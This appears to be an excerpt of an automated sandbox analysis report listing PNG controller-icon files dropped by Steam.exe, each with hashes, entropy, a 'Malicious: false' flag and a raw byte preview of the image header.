Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:16CE14F6826911E5B299B896234CA236" xmpMM:InstanceID="xmp.iid:16CE14F5826911E5B299B896234CA236" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..Z..#nIDATx..].....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0120.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14563
Entropy (8bit):	7.946669361619761
Encrypted:	false
SSDEEP:
MD5:	AACE2E683BFA82281B7924718AB47D93
SHA1:	65DB04459CDD52E9E6AB26E6F32A557B8E0F05F5
SHA-256:	56DF4E56DE407BD7565738B7B27296000725BABB070981F11ED179515DCD8872
SHA-512:	A00B9EFDD115ECD6F932E74D90E8AA1E0AB9AE5EAEBE192261F3DDEE826A22FF68B51D53F91AB995B7EE76B3BE1DB1703FC32E10C3408229FC0D2C90A48C7AFA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:186672AA826911E5BC5BB8EACC801D2D" xmpMM:InstanceID="xmp.iid:186672A9826911E5BC5BB8EACC801D2D" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.6....4.IDATx....U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0130.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5722
Entropy (8bit):	7.706633734616923
Encrypted:	false
SSDEEP:
MD5:	5347C02030DC93974632E604A26FA08B
SHA1:	447CC5D578D5C157B60D3DC52BE660CA920ECC84
SHA-256:	D2EE1DA3DFF144C2CFA3006DAB03B01C3DF7F0D8701DDF89761301288063933E
SHA-512:	82FA988D81EE2DFFAC3715063E4D5CB3BE62C260D75F34CAED235B1164F7C3A9375C6DC1B9ADE523D38CC2CAD8B0E7B20843DA8827415E51F891A30274158518
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:178E5CA2826911E594E2A2291834B6A6" xmpMM:InstanceID="xmp.iid:178E5CA1826911E594E2A2291834B6A6" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>V......lIDATx....p....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0140.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11083
Entropy (8bit):	7.902903268664565
Encrypted:	false
SSDEEP:
MD5:	9EFB1B2E4BA0F57E6A491D7DB26041F4
SHA1:	8CB6B5D6CC4A8B3F2CBFDDFD1FF2089C90983C5E
SHA-256:	7E104287465746D2A59ACB38CD15D52B20B3B273E03D21FC830FAC1FA424524C
SHA-512:	4CC26BC243CDC9D7044353EEC0E8319D0E1C222122A80ABB40D6DEA709BBD01AECE5EBCB0644AE3DE436D9706ECC11E854009F6863C019B0EE7246FD8F1D39A8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:17A36BCC826911E5961B8851220F8A8E" xmpMM:InstanceID="xmp.iid:17A36BCB826911E5961B8851220F8A8E" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>z,....']IDATx..].....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0150.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11960
Entropy (8bit):	7.916221850143761
Encrypted:	false
SSDEEP:
MD5:	1D056FD84D1D37D06C3C9A570E5EF8EF
SHA1:	262C19D1FA6980FF904F2F49A11EDDE05DB7E0AA
SHA-256:	0F52279C213BEFE2A04E9CA0DDC4B929614A5D0D6502DBF6E5045208E741CCA1
SHA-512:	782E935B17C2ED56E2F4A6FBCFF5E29DC65121FBC2C8D5D25C6C70853DD728E7F0216ACBBFDEFC7E29C3A85A94CE9B0B3BBEF77DD7A71DA4AB0F2AA4774C108A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:17EA61AD826911E58E6698803AC7C2F7" xmpMM:InstanceID="xmp.iid:17EA61AC826911E58E6698803AC7C2F7" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C..*.IDATx..].....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0300.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16512
Entropy (8bit):	7.879850210673031
Encrypted:	false
SSDEEP:
MD5:	CFAA0A3E5402845E688843B9982FAF1A
SHA1:	0840FD5E6DFE796882B703DC81EEFA435A00C2F0
SHA-256:	CC332BFC21639A81D20797AF4682FFE5C43D204F1DACE925FA97743B35C3DAFF
SHA-512:	627C7C4F583B84CCC53433CB43D022E37BB8C0D8E3B2F48779F988E0A1D125CA84C5531E91F48F7C440F87207C2232CC952E025CE2F744F5A7AEE06938601FAD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0301.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	31693
Entropy (8bit):	7.933673056160766
Encrypted:	false
SSDEEP:
MD5:	BA7C31211AA26E0BEDF336CE81B6B68B
SHA1:	4184945E9BB6E1352B5266A16CA1A893108B01E7
SHA-256:	D771B0859561006FD027F44D8E6C1C5C778AC3E73111AEF2A91DBEDFBAD724F5
SHA-512:	9FADDD88652F13FFE7A5AFB49672F4D7450426A0DD43B19BC092FF2A13A3515C9E99472F40242016C5C6411B573D71487C35CE476F95550069FAD969B92938B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0302.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13071
Entropy (8bit):	7.785615059849081
Encrypted:	false
SSDEEP:
MD5:	233A080D66379B5AA80D73AAB1852AB6
SHA1:	066176FB2663385ADAE62693F1011E49E387338D
SHA-256:	548341DF95E7C560B5253F87E546D7FB7586E7269CBB3ED4F52AA0B0931B9389
SHA-512:	F6E7639073D2A763954510A9C4602F64DE78D9AFC33F988D4F67357E31993C85861B8DC7D94C3550E3A97E8B1790F8DBE604C36E2400FF95AC17B19CC5EE0F37
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0303.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13833
Entropy (8bit):	7.793045325916418
Encrypted:	false
SSDEEP:
MD5:	495DA4CAC804AC55A8B8CE86B6FB0D8A
SHA1:	B2177ED2E4E27D2ACEE0D79C769B777BEAB27351
SHA-256:	5BED3BC196D5630BD46786B6F958431CA827009170F44CC9A95CB0CE9D5BCCEA
SHA-512:	EECF8554E85AE3839A27C9497EF31A9707E119F0AA1C9BF18686ECDCC43824D214153A73D3AF535ED1FC303899AE569A91F0F2C1C1A288D60F7085A79A5EF66A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0304.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20687
Entropy (8bit):	7.9103933654775
Encrypted:	false
SSDEEP:
MD5:	12B0A9D642078BEFA21079741DEADF33
SHA1:	74E2D7E1F8DB81D3CD2AD3E76D4BC537A451909C
SHA-256:	A0DD37AD23BD8DCCAE07C5FCBB5A392C07C910E360D2CE58942D0DAC3F093CE7
SHA-512:	560B4773FC9ADCE8391050FF18D788161122F24F314B1423D376DF341C5BF1C35401CCBA1E0D2B722DCE6589AFBFD8AAEA849719E2DE8942FF0ED829FA56DAA0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0305.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14579
Entropy (8bit):	7.82740524217067
Encrypted:	false
SSDEEP:
MD5:	FD7BCA27E046C280EA5EAFC6D96F3150
SHA1:	FA45FB3A42708F86BC153F6CE83F5E56182E6786
SHA-256:	6F6988CED65FE7929C50D3FC49076A530B81CBCC4DBCDEDA455F2BCCBE1B6357
SHA-512:	349183EE132B310860F09DC1E082879CA4CD40685A118DE6AF950DD0338025A5FD1080EBDBCBEB6DB91082B6D06C27048FBF64AFFD8DF56D42DA143453254765
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0306.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9159
Entropy (8bit):	7.417752827629954
Encrypted:	false
SSDEEP:
MD5:	CB2B40746E6E75DA3334DC6A9DCAD550
SHA1:	9B4A75626785D519C2441C2A9F2CADC439FAA65F
SHA-256:	6CDC453C8FDEB06C198BF1AE02F41DC69BB2542AB6AE03D35A347745B8A763EF
SHA-512:	5745EA3306233A68F28589CDC2B9A518AD176EE31F9D0BEA027D7ABF7093EA07D6C9D75D9E95679CAE1A93CDC138D9EC73EAD3E78F69624D2570F9B65741EF0B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0307.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12582
Entropy (8bit):	7.7526327653139235
Encrypted:	false
SSDEEP:
MD5:	0666EA64425DA6B4BD4B916446A8B6D6
SHA1:	2E8941C7256B70E3330959015C016B01F6F3164D
SHA-256:	84DB8784BF90A1CDE0EF4D094EEB78DE493AA1E41E2875C9DDD398F12A79280A
SHA-512:	B6A8A7F9F7F0830BBC90FD6E20017592BBFFCDE96B54A6B02CBB5BECBF0E91B88BF00C04EA4951CEDA511A88F75D04E3CF3B14AFB207BE617D52AC44D57E9260
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0308.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18688
Entropy (8bit):	7.846921869762751
Encrypted:	false
SSDEEP:
MD5:	C7BE38303892EA683DEED36151E6F179
SHA1:	531FF59EE80A5538E39940E513A285FD246341EF
SHA-256:	7037A263B191DF807407779C9D1656D3E0E8869CF292F9C7FD12F5733CB21D9F
SHA-512:	253108D277CCB43513542B6025726F3B96E71AACCCC54614E197C3823111E6671DCC0B6AB860352EBDF0EAD75E83DB6BDCBB090D870F9B66CFAA4BD22559DBE7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0309.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	30580
Entropy (8bit):	7.91945472349117
Encrypted:	false
SSDEEP:
MD5:	62C57F63D9E7DF91BC0E4C276157D93A
SHA1:	B56A4034035623E8E8C9030CD297874509899CDB
SHA-256:	54676E4D5D8A39845835E8134455698C81F4A340EEE4A7E412A49F69F11543BB
SHA-512:	0534B5280D10A07152431170AB15D7FB7CE744A01E2BECD766F9C2AFC0D6A2D3697CAA33D50A477CC31F7ED41B276B5E050848DF2A02133FD3821FDDA330F1CC
Malicious:	false
Reputation:	unknown
